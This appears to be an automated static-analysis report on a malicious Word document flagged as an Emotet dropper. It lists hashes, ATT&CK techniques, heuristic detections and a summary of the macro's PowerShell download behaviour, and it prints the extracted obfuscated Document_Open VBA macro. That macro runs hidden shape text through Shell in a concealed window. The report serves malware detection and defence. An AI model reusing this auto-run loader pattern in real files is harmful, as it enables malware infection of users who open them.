Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c047f89dd61abbe…

MALICIOUS

Office (OLE)

66.8 KB Created: 2018-11-06 07:12:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: a90cc67fc91197c3c8a3b126cf01c9d9 SHA-1: d8dcecc8ac06137fa31d6b90a693110dfd3c6acc SHA-256: 6c047f89dd61abbe9e4e4e49aa51f8687132b2be5df92b050ff16b907ed55543
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro that triggers on document open. This macro constructs and executes a complex PowerShell command. The PowerShell command decodes a Base64 string, decompresses it, and then executes the resulting content, likely downloading and running a second-stage payload. The presence of the 'Doc.Downloader.Sload-6743946-0' ClamAV detection further supports its malicious nature as a downloader.

Heuristics 6

  • ClamAV: Doc.Dropper.Emotet-6769504-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6769504-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1198 bytes
SHA-256: 64724c5c18dcecfbbe9dcef113878e650385c4ae1298d699ef44a8d01a6759fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HJwECcZECQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   EETidD = mqIjtA + kwQlXq + TDkZmu + VlavnE * (mNIua + bfASss)
   MoYWY = FPiSI + cfVcGP * LzhAD + VXfwt + RFpIrC + twJNoH / fDJBQK + MmLfoU * DoZTo + rjmXi + OVJCl + tbkSOi
   ajnqzK = Nkwrr + wwITPQ + HBckzj + blkvn / rhWjP + cIHpZv + mhXmPP + FZYHD
   sqcAC = WiPZb + aniAM * oKzjD + UjbPSI + cWZkS + oXsQES
   jwsov = (XqnsGF + YLDqq * (jRzsrs + nBiowL + WzPiV + hfUpV * ffQrM + jwTniD + wEAVH + wuuqbw))
   afmihH = (FSjRc + BMzPoB + fBJFj + bGMdkc / wNTtK + dLbKSW / (LdOVk + pDQZWh))
   BdGpnl = (jFqIp + EinGv / wlIqw + UnCRhu)
   jjzow = jliCD + CKaSf + wztAtm + qTzwS * wZnhU + wIidNH * nizKN + lvzlIi + KiIzmm + iHsOc / (hjdRU + towfsJ + Ojcwnf + iaUAhr)
Const uPbJzlDHu = 549132669 - 549132669
Shell@ Shapes(1).TextFrame.TextRange.Text + BAwIWc + WKVFQ, uPbJzlDHu
   iPLhZS = KNpZUk + pvrNMw / qZhYj + iLltfj / (IMknv + UqjSz)
End Sub

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